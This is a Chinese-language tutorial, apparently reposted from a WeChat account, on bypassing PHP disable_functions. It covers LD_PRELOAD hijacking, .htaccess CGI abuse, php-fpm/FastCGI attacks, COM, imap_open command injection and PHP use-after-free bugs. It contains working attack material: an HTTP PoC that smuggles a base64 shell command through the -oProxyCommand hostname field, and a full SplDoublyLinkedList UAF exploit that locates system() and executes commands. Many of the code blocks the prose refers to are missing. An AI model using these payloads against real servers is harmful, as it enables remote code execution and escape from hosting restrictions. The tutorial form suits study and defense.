unsetenv("LD_PRELOAD");system("echo 'i hack it'");return 1;}
然后使用gcc编译成一个动态链接库:
gcc -shared -fPIC hack.c -o hack.so
使用LD_PRELOAD加载并执行id命令,我们会得到如下的结果:
再来更改一下uid测试,我们先adduser一个新用户hhhm,执行id命令结果如下:
然后根据上面的步骤取得getuid32的函数定义,据此来编写一个hack.c:
gcc编译后,执行,结果如下:
可以看到我们的uid成功变为1,且更改为root了,当然了因为我们的hack.so是root权限编译出来的,在一定条件下也许可以用此种方式来提权,网上也有相关文章,不过我没实际尝试过就不做过分肯定的说法。
下面看看在php中如何配合利用达成bypass disable。
php中的利用
php中主要是需要配合putenv函数,如果该函数被ban了那么也就没他什么事了,所以bypass前需要观察disable是否ban掉putenv。
php中的利用根据大师傅们的文章我主要提取出下面几种利用方式,其实质都是大同小异,需要找出一个函数然后采用相同的机制覆盖掉其函数进而执行系统命令。
那么我们受限于disable,system等执行系统命令的函数无法使用,而若想要让php调用外部程序来进一步达成执行系统命令从而达成bypass就只能依赖与php解释器本身。
因此有一个大前提就是需要从php解释器中启动子进程。
老套路之mail
先选取一台具有sendmail的机器,笔者是使用kali,先在php中写入如下代码
同样的可以使用strace来追踪函数的执行过程。
strace -f php phpinfo.php 2>&1 | grep execve
可以看到这里调用了sendmail,与网上的文章同样的我们可以追踪sendmail来查看其调用过程,或者使用readelf可以查看其使用函数:
strace sendmail
那么以上面的方式编写并编译一个动态链接库然后利用LD_PRELOAD去执行我们的命令,这就是老套路的利用。
因为没有回显,为方便查看效果我写了一个ls>test,因此hack.c如下:
同样的gcc编译后,页面写入如下:
访问页面得到运行效果如下:
再提一个我在利用过程中走错的点,这里为测试,我换用一台没有sendmail的ubuntu:
但如果我们按照上面的步骤直接追踪index的执行而不过滤选取execve会发现同样存在着geteuid,并且但这事实上是sh调用的而非mail调用的,因此如果我们使用php index.php来调用会发现system执行成功,但如果我们通过页面来访问则会发现执行失败,这是一个在利用过程中需要注意的点,这也就是为什么我们会使用管道符来选取execve。
第一个execve为php解释器启动的进程,而后者即为我们所需要的sendmail子进程。
error_log
同样的除了mail会调用sendmail之外,还有error_log也会调用,如图:
ps:当error_log的type为1时就会调用到sendmail。
因此上面针对于mail函数的套路对于error_log同样适用,however,我们会发现此类劫持都只是针对某一个函数,而前面所做的都是依赖与sendmail,而像目标机器如果不存在sendmail,那么前面的做法就完全无用。
yangyangwithgnu师傅在其文无需sendmail:巧用LD_PRELOAD突破disable_functions提到了我们 不要局限于仅劫持某一函数,而应考虑劫持共享对象。
劫持共享对象
文中使用到了如下代码编写的库:
那么关于 __attribute__ ((__constructor__))个人理解是其会在共享库加载时运行,也就是程序启动时运行,那么这一步的利用同样需要有前面说到的启动子进程这一个大前提,也就是需要有类似于mail、Imagick可以令php解释器启动新进程的函数。
同样的将LD_PRELOAD指定为gcc编译的共享库,然后访问页面查看,会发现成功将ls写到test下(如果失败请检查写权限问题)
0ctf 2019中Wallbreaker Easy中的出题点就是采用了imagick在处理一些特定后缀文件时,会调用ffmpeg,也就是会开启子进程,从而达成加载共享库执行系统命令bypass disable。
Apache Mod CGI
前面的两种利用都需要putenv,如果putenv被ban了那么就需要这种方式,简单介绍一下原理。
原理
利用htaccess覆盖apache配置,增加cgi程序达成执行系统命令,事实上同上传htaccess解析png文件为php程序的利用方式大同小异。
mod cgi:
任何具有MIME类型 application/x-httpd-cgi 或者被 cgi- 处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由 AddType 指令定义的扩展名,另一种是文件位于 Alias 目录中。
因此我们只需上传一个.htaccess:
利用
利用就很简单了:
上传htaccess,内容为上文所给出的内容
上传a.test,内容为:
PHP-FPM
php-fpm相信有读者在配置php环境时会遇到,如使用nginx+php时会在配置文件中配置如下:
那么看看百度百科中关于php-fpm的介绍:
PHP-FPM(FastCGI Process Manager:FastCGI进程管理器)是一个PHPFastCGI管理器,对于PHP 5.3.3之前的php来说,是一个补丁包 [1] ,旨在将FastCGI进程管理整合进PHP包中。如果你使用的是PHP5.3.3之前的PHP的话,就必须将它patch到你的PHP源代码中,在编译安装PHP后才可以使用。
那么fastcgi又是什么?Fastcgi 是一种通讯协议,用于Web服务器与后端语言的数据交换。
原理
那么我们在配置了php-fpm后如访问 http://127.0.0.1/test.php?test=1那么会被解析为如下键值对:
这个数组很眼熟,会发现其实就是 $_SERVER里面的一部分,那么php-fpm拿到这一个数组后会去找到_FILENAME的值,对于这里的/var/www/html/test.php,然后去执行它。
前面笔者留了一个配置,在配置中可以看到fastcgi的端口是9000,监听地址是127.0.0.1,那么如果地址为0.0.0.0,也即是将其暴露到公网中,倘若我们伪造与fastcgi通信,这样就会导致远程代码执行。
那么事实上php-fpm通信方式有tcp也就是9000端口的那个,以及socket的通信,因此也存在着两种攻击方式。
socket方式的话配置文件会有如下:
fastcgi_pass unix:/var/run/phpfpm.sock;
那么我们可以稍微了解一下fastcgi的协议组成,其由多个record组成,这里摘抄一下p神 原文中的一段结构体:
可以看到record分为header以及body,其中header固定为8字节,而body由其contentLength决定,而paddingData为保留段,不需要时长度置为0。
而type的值从1-7有各种作用,当其type=4时,后端就会将其body解析成key-value,看到key-value可能会很眼熟,没错,就是我们前面看到的那一个键值对数组,也就是环境变量。
那么在学习漏洞利用之前,我们有必要了解两个环境变量,
PHP_VALUE:可以设置模式为 PHP_INI_USER 和 PHP_INI_ALL 的选项
PHP_ADMIN_VALUE:可以设置所有选项(除了disable_function)
那么以p神文中的利用方式我们需要满足三个条件:
找到一个已知的php文件
利用上述两个环境变量将auto_prepend_file设置为php://input
开启php://input需要满足的条件:allow_url_include为on
此时熟悉文件包含漏洞的童鞋就一目了然了,我们可以执行任意代码了。
这里利用的情况为:
利用
我们先直接看phpinfo如何标识我们可否利用该漏洞进行攻击。
那么先以攻击tcp为例,倘若我们伪造nginx发送数据(fastcgi封装的数据)给php-fpm,这样就会造成任意代码执行漏洞。
p神已经写好了一个exp,因为开放fastcgi为0.0.0.0的情况事实上同攻击内网相似,所以这里可以尝试一下攻击127.0.0.1也就是攻击内网的情况,那么事实上我们可以配合gopher协议来攻击内网的fpm,因为与本文主题不符就不多讲。
可以看到结果如图所示:
攻击成功后我们去查看一下phpinfo会看到如下:
也就是说我们构造的攻击包为:
很明显的前面所说的都是成立的;然而事实上我这里是没有加入disable的情况,我们往里面加入disable再尝试。
pkill php-fpm/usr/sbin/php-fpm7.0 -c /etc/php/7.0/fpm/php.ini
注意修改了ini文件后重启fpm需要指定ini。
我往disable里压了一个system:
然后再执行一下exp,可以发现被disable了:
因此此种方法还无法达成bypass disable的作用,那么不要忘了我们的两个php_value能够修改的可不仅仅只是auto_prepend_file,并且的我们还可以修改basedir来绕过;在先前的绕过姿势中我们是利用到了so文件执行扩展库来bypass,那么这里同样可以修改extension为我们编写的so库来执行系统命令,具体利用有师傅已经写了利用脚本,事实上蚁剑中的插件已经能实现了该bypass的功能了,那么下面我直接对蚁剑中插件如何实现bypass做一个简要分析。
在执行蚁剑的插件时会发现其在当前目录生成了一个.antproxy.php文件,那么我们后续的bypass都是通过该文件来执行,那么先看一下这个shell的代码:
定位到关键代码:
可以看到它这里向60882端口进行通信,事实上这里蚁剑使用 /bin/sh -c php -n -S 127.0.0.1:60882 -t /var/www/html 开启了一个新的php服务,并且不使用php.ini,因此也就不存在disable了,那么我们在观察其执行过程会发现其还在tmp目录下上传了一个so文件,那么至此我们有理由推断出其通过攻击php-fpm修改其extension为在tmp目录下上传的扩展库,事实上从该插件的源码中也可以得知确实如此:
那么启动了该php server后我们的流量就通过antproxy.php转发到无disabel的php server上,此时就成功达成bypass。
加载so扩展
前面虽然解释了其原理,但毕竟理论与实践有所区别,因此我们可以自己打一下extension进行测试。
so文件可以从项目中获取,根据其提示编译即可获取ant.so的库,修改php-fpm的php.ini,加入:
extension=/var/www/html/ant.so
然后重启php-fpm,如果使用如下:
成功执行命令时即说明扩展成功加载,那么我们再把ini恢复为先前的样子,我们尝试直接攻击php-fpm来修改其配置项。
以脚本来攻击:
通过修改其内的code即可,效果如下:
漏洞利用成功。
com组件原理&利用
需要目标机器满足下列三个条件:
com.allow_dcom = true
extension=php_com_dotnet.dll
php>5.4
此时com组件开启,我们能够在phpinfo中看到:
要知道原理还是直接从exp看起:
首先,以 new COM('W.shell') 来生成一个com对象,里面的参数也可以为 Shell.Application (笔者的win10下测试失败)。
然后这个com对象中存在着exec可以用来执行命令,而后续的方法则是将命令输出,该方式的利用还是较为简单的,就不多讲了。
imap_open原理
imap扩展用于在PHP中执行邮件收发操作,而imap_open是一个imap扩展的函数,在使用时通常以如下形式:
$imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);
那么该函数在调用时会调用rsh来连接远程shell,而在debian/ubuntu中默认使用ssh来代替rsh的功能,也即是说在这俩系统中调用的实际上是ssh,而ssh中可以通过 -oProxyCommand=来调用命令,该选项可以使得我们在连接服务器之前先执行命令,并且需要注意到的是此时并不是php解释器在执行该系统命令,其以一个独立的进程去执行了该命令,因此我们也就成功的bypass disable function了。
那么我们可以先在ubuntu上试验一下:
ssh -oProxyCommand="ls>test" 192.168.2.1
利用
环境的话vulhub上有,其中给出了poc:
POST / HTTP/1.1Host: your-ipAccept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 125hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
我们可以发现其中使用了%09来绕过空格,以base64的形式来执行我们的命令,那么我这里再验证一下:
hostname=x+-oProxyCommand%3decho%09bHM%2BdGVzdAo%3D|base64%09-d|sh}&username=111&password=222//ls>test
会发现成功写入了一个test,漏洞利用成功,那么接下来就是各种肆意妄为了。
三种UAF
EXP在: https://github.com/mm0r1/exploits
三种uaf分别是:
Json Serializer UAF
GC UAF
Backtrace UAF
关于uaf的利用因为涉及到二进制相关的知识,而笔者是个web狗,因此暂时只会用exp打打,因此这里就不多说,就暂时先稍微提一下三种uaf的利用版本及其概述//其实我就是照搬了exp里面的说明,读者可以看exp作者的说明就行了。
Json Serializer UAF
漏洞出现的版本在于:
7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
漏洞利用json在序列化中的堆溢出触发bypass,漏洞为bug #77843
GC UAF
漏洞出现的版本在于:
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 - all versions to date
漏洞利用的是php garbage collector(垃圾收集器)程序中的堆溢出达成bypass,漏洞为:bug #72530
Backtrace UAF
漏洞出现的版本在于:
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 < 7.3.15 (released 20 Feb 2020)
7.4 < 7.4.3 (released 20 Feb 2020)
漏洞利用的是 debug_backtrace这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,漏洞为bug #76047
利用
利用的话exp或者蚁剑上都有利用插件了,这里不多讲,可以上ctfhub测试。
SplDoublyLinkedList UAF概述
这个UAF是在先知上看到的,引用原文来概述:
可以看到,删除元素的操作被放在了置空 traverse_pointer 指针前。
所以在删除一个对象时,我们可以在其构析函数中通过 current 访问到这个对象,也可以通过 next 访问到下一个元素。如果此时下一个元素已经被删除,就会导致 UAF。
PHP 部分(仅在 7.4.10、7.3.22、7.2.34 版本测试)exp
exp同样出自原文。
php部分:
<?phperror_reporting (0);$a = str_repeat("T", 120 * 1024 * 1024);function i2s(&$a, $p, $i, $x = 8) {for($j = 0;$j < $x;$j++) {$a[$p + $j] = chr($i & 0xff);$i >>= 8;}}function s2i($s) {$result = 0;for ($x = 0;$x < strlen($s);$x++) {$result <<= 8;$result |= ord($s[$x]);}return $result;}
function leak(&$a, $address) {global $s;i2s($a, 0x00, $address - 0x10);return strlen($s -> current);}
function getPHPChunk($maps) {$pattern = '/([0-9a-f]+-[0-9a-f]+) rw-p 00000000 00:00 0 /';preg_match_all($pattern, $maps, $match);foreach ($match[1] as $value) {list($start, $end) = explode("-", $value);if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {$address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "n";return $address;}}}
function bomb1(&$a) {if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {return (s2i($_GET["test1"]) & 0x7ffff0000000);}else {die("[!]Where is here");}}
function bomb2(&$a) {$start = s2i($_GET["test2"]);return getElement($a, array($start, $start + 0x200000, 0x200000));die("[!]Not Found");}
function getElement(&$a, $address) {for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {$addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;for ($y = 0;$y < 5;$y++) {if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "n";return $addr + $y * 0x08 - 0x18;}}}}
function getClosureChunk(&$a, $address) {do {$address = leak($a, $address);}while(leak($a, $address) !== 0x00);echo "[+]Closure Chunk: " . dechex($address) . "n";return $address;}
function getSystem(&$a, $address) {$start = $address & 0xffffffffffff0000;$lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;for($i = 0; $i < 0x1000 * 0x80; $i++) {$addr = $start - $i * 0x20;if ($addr < $lowestAddr) {break;}$nameAddr = leak($a, $addr);if ($nameAddr > $address || $nameAddr < $lowestAddr) {continue;}$name = dechex(leak($a, $nameAddr));$name = str_pad($name, 16, "0", STR_PAD_LEFT);$name = strrev(hex2bin($name));$name = explode("x00", $name)[0];if($name === "system") {return leak($a, $addr + 0x08);}}}
class Trigger {function __destruct {global $s;unset($s[0]);$a = str_shuffle(str_repeat("T", 0xf));i2s($a, 0x00, 0x1234567812345678);i2s($a, 0x08, 0x04, 7);$s -> current;$s -> next;if ($s -> current !== 0x1234567812345678) {die("[!]UAF Failed");}$maps = file_get_contents("/proc/self/maps");if (!$maps) {cantRead($a);}else {canRead($maps, $a);}echo "[+]Done";}}
function bypass($elementAddress, &$a) {global $s;if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {die("[!]Get Closure Chunk Address Failed");}$closure_object = leak($a, $closureChunkAddress + 0x18);echo "[+]Closure Object: " . dechex($closure_object) . "n";$closure_handlers = leak($a, $closure_object + 0x18);echo "[+]Closure Handler: " . dechex($closure_handlers) . "n";if(!($system_address = getSystem($a, $closure_handlers))) {die("[!]Couldn't determine system address");}echo "[+]Find system's handler: " . dechex($system_address) . "n";i2s($a, 0x08, 0x506, 7);for ($i = 0;$i < (0x130 / 0x08);$i++) {$data = leak($a, $closure_object + 0x08 * $i);i2s($a, 0x00, $closure_object + 0x30);i2s($s -> current, 0x08 * $i + 0x100, $data);}i2s($a, 0x00, $closure_object + 0x30);i2s($s -> current, 0x20, $system_address);i2s($a, 0x00, $closure_object);i2s($a, 0x08, 0x108, 7);echo "[+]Executing command: n";($s -> current)("php -v");}
function canRead($maps, &$a) {global $s;if (!$chunkAddress = getPHPChunk($maps)) {die("[!]Get PHP Chunk Address Failed");}i2s($a, 0x08, 0x06, 7);if (!$elementAddress = getElement($a, $chunkAddress)) {die("[!]Get SplDoublyLinkedList Element Address Failed");}bypass($elementAddress, $a);}
function cantRead(&$a) {global $s;i2s($a, 0x08, 0x06, 7);if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {die("[!]Please try to get address of PHP Chunk");}if (isset($_GET["test1"])) {die(dechex(bomb1($a)));}if (isset($_GET["test2"])) {$elementAddress = bomb2($a);}if (!$elementAddress) {die("[!]Get SplDoublyLinkedList Element Address Failed");}bypass($elementAddress, $a);}
$s = new SplDoublyLinkedList;$s -> push(new Trigger);$s -> push("Twings");$s -> push(function($x){});for ($x = 0;$x < 0x100;$x++) {$s -> push(0x1234567812345678);}$s -> rewind;unset($s[0]);
python部分:
ffi扩展
ffi扩展笔者初见于TCTF/0CTF 2020中的easyphp,当时是因为非预期解拿到flag发现了ffi三个字母才了解到php7.4中多了ffi这种东西。
原理
PHP FFI(Foreign Function interface),提供了高级语言直接的互相调用,而对于PHP而言,FFI让我们可以方便的调用C语言写的各种库。
也即是说我们可以通过ffi来调用c语言的函数从而绕过disable的限制,我们可以简单使用一个示例来体会一下:
输出如下:
那么这种利用方式可能出现的场景还不是很多,因此笔者稍微讲解一下。
首先是cdef:
这一行是创建一个ffi对象,默认就会加载标准库,以本行为例是导入system这个函数,而这个函数理所当然是存在于标准库中,那么我们若要导入库时则可以以如下方式:
可以看看其函数原型:
取得了ffi对象后我们就可以直接调用函数了:
之后的代码较为简单就不多讲,那么接下来看看实际应用该从哪里入手。
利用
以tctf的题目为例,题目直接把cdef过滤了,并且存在着basedir,但我们可以使用之前说过bypass basedir来列目录,逐一尝试能够发现可以使用glob列根目录目录:
可以发现根目录存在着flag.h跟so:
因为后面环境没有保存,笔者这里简单复述一下当时题目的情况(仅针对预期解)。
发现了flag.h之后查看ffi相关文档能够发现一个load方法可以加载头文件。
于是有了如下:
但当我们想要打印头文件来获取其内存在的函数时会尴尬的发现如下:
我们无法获取到存在的函数结构,因此也就无法使用ffi调用函数,这一步路就断了,并且cdef也被过滤了,无法直接调用system函数,但查看文档能够发现ffi中存在着不少与内存相关的函数,因此存在着内存泄露的可能,这里借用飘零师傅的exp:
获取到函数名后直接调用函数然后把结果打印出来即可:
12/25
请点击公众号菜单:【来撩我吧】-原创征集返回搜狐,查看更多